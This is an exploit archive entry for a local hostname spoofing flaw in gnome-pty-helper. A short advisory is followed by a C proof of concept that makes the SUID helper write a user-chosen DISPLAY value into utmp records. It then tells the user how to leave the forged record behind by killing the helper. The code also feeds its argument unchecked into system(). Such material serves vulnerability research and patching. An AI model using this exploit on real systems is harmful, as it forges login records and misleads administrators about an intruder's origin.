Gnome-PTY-Helper UTMP - Hostname Spoofing

// source: https://www.securityfocus.com/bid/15004/info

'gnome-pty-helper' is susceptible to a local UTMP hostname spoofing vulnerability. This issue is due to the failure of the application to properly validate user-supplied data prior to using it to update UTMP records.

This vulnerability allows users to spoof remote hostname information in UTMP records. This may aid attackers by misdirecting administrators and users as to the correct origin of the attacker. 

/*
    Must be compiled against (within)
	gnome-libs-1.4.2/zvt
    because it uses *.h files from there.
    Code "stolen" from subshell.c .
*/

#include <sys/types.h>

#include "subshell-includes.h"
#define ZVT_TERM_DO_UTMP_LOG 1
#define ZVT_TERM_DO_WTMP_LOG 2
#define ZVT_TERM_DO_LASTLOG  4

/* Pid of the helper SUID process */
static pid_t helper_pid;

/* The socketpair used for the protocol */
int helper_socket_protocol  [2];

/* The parallel socketpair used to transfer file descriptors */
int helper_socket_fdpassing [2];

#include <sys/socket.h>
#include <sys/uio.h>

static struct cmsghdr *cmptr;
#define CONTROLLEN  sizeof (struct cmsghdr) + sizeof (int)

static int
receive_fd (int helper_fd)
{
	struct iovec iov [1];
	struct msghdr msg;
	char buf [32];
	
	iov [0].iov_base = buf;
	iov [0].iov_len  = sizeof (buf);
	msg.msg_iov      = iov;
	msg.msg_iovlen   = 1;
	msg.msg_name     = NULL;
	msg.msg_namelen  = 0;

	if (cmptr == NULL && (cmptr = malloc (CONTROLLEN)) == NULL)
		return -1;
	msg.msg_control = (caddr_t) cmptr;
	msg.msg_controllen = CONTROLLEN;

	if (recvmsg (helper_fd, &msg, 0) <= 0)
		return -1;

	return *(int *) CMSG_DATA (cmptr);
}

static int
s_pipe (int fd [2])
{
	return socketpair (AF_UNIX, SOCK_STREAM, 0, fd);
}

static void *
get_ptys (int *master, int *slave, int update_wutmp)
{
	GnomePtyOps op;
	int result, n;
	void *tag;
	
	if (helper_pid == -1)
		return NULL;

	if (helper_pid == 0){
		if (s_pipe (helper_socket_protocol) == -1)
			return NULL;

		if (s_pipe (helper_socket_fdpassing) == -1){
			close (helper_socket_protocol [0]);
			close (helper_socket_protocol [1]);
			return NULL;
		}
		
		helper_pid = fork ();
		
		if (helper_pid == -1){
			close (helper_socket_protocol [0]);
			close (helper_socket_protocol [1]);
			close (helper_socket_fdpassing [0]);
			close (helper_socket_fdpassing [1]);
			return NULL;
		}

		if (helper_pid == 0){
			close (0);
			close (1);
			dup2 (helper_socket_protocol  [1], 0);
			dup2 (helper_socket_fdpassing [1], 1);

			/* Close aliases */
			close (helper_socket_protocol  [0]);
			close (helper_socket_protocol  [1]);
			close (helper_socket_fdpassing [0]);
			close (helper_socket_fdpassing [1]);

			execl ("/usr/sbin/gnome-pty-helper", "gnome-pty-helper", NULL);
			exit (1);
		} else {
			close (helper_socket_fdpassing [1]);
			close (helper_socket_protocol  [1]);

			/*
			 * Set the close-on-exec flag for the other
			 * descriptors, these should never propagate
			 * (otherwise gnome-pty-heler wont notice when
			 * this process is killed).
			 */
			fcntl (helper_socket_protocol [0], F_SETFD, FD_CLOEXEC);
			fcntl (helper_socket_fdpassing [0], F_SETFD, FD_CLOEXEC);
		}
	}
	op = GNOME_PTY_OPEN_NO_DB_UPDATE;
	
	if (update_wutmp & ZVT_TERM_DO_UTMP_LOG){
		if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
			op = GNOME_PTY_OPEN_PTY_LASTLOGUWTMP;
		else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
			op = GNOME_PTY_OPEN_PTY_UWTMP;
		else if (update_wutmp & ZVT_TERM_DO_LASTLOG)
			op = GNOME_PTY_OPEN_PTY_LASTLOGUTMP;
		else
			op = GNOME_PTY_OPEN_PTY_UTMP;
	} else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG) {
		if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
			op = GNOME_PTY_OPEN_PTY_LASTLOGWTMP;
		else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
			op = GNOME_PTY_OPEN_PTY_WTMP;
	} else
		if (update_wutmp & ZVT_TERM_DO_LASTLOG)
			op = GNOME_PTY_OPEN_PTY_LASTLOG;
	
	if (write (helper_socket_protocol [0], &op, sizeof (op)) < 0)
		return NULL;
	
	n = read (helper_socket_protocol [0], &result, sizeof (result));
	if (n == -1 || n != sizeof (result)){
		helper_pid = 0;
		return NULL;
	}
	
	if (result == 0)
		return NULL;

	n = read (helper_socket_protocol [0], &tag, sizeof (tag));
	
	if (n == -1 || n != sizeof (tag)){
		helper_pid = 0;
		return NULL;
	}

	*master = receive_fd (helper_socket_fdpassing [0]);
	*slave  = receive_fd (helper_socket_fdpassing [0]);
	
	return tag;
}

int main (int argc, char* argv[])
{
	int slave_pty, master_pty;
	void* mytag;
	int log = ZVT_TERM_DO_UTMP_LOG;
	char buf[1000];

printf("Writing utmp (who) record for DISPLAY=%s\n", argv[1]);
setenv("DISPLAY",argv[1],1);

	if ((mytag = get_ptys (&master_pty, &slave_pty, log)) == NULL)
		return;

sprintf(buf,"who | grep %s",argv[1]);
printf("Running %s\n",buf);
system(buf);
printf("utmp (who) record will be cleaned up when we exit.\n");
printf("To leave it behind, kill gnome-pty-helper: kill %d\n",helper_pid);

printf("Sleeping for 5 secs...\n");
sleep (5);
}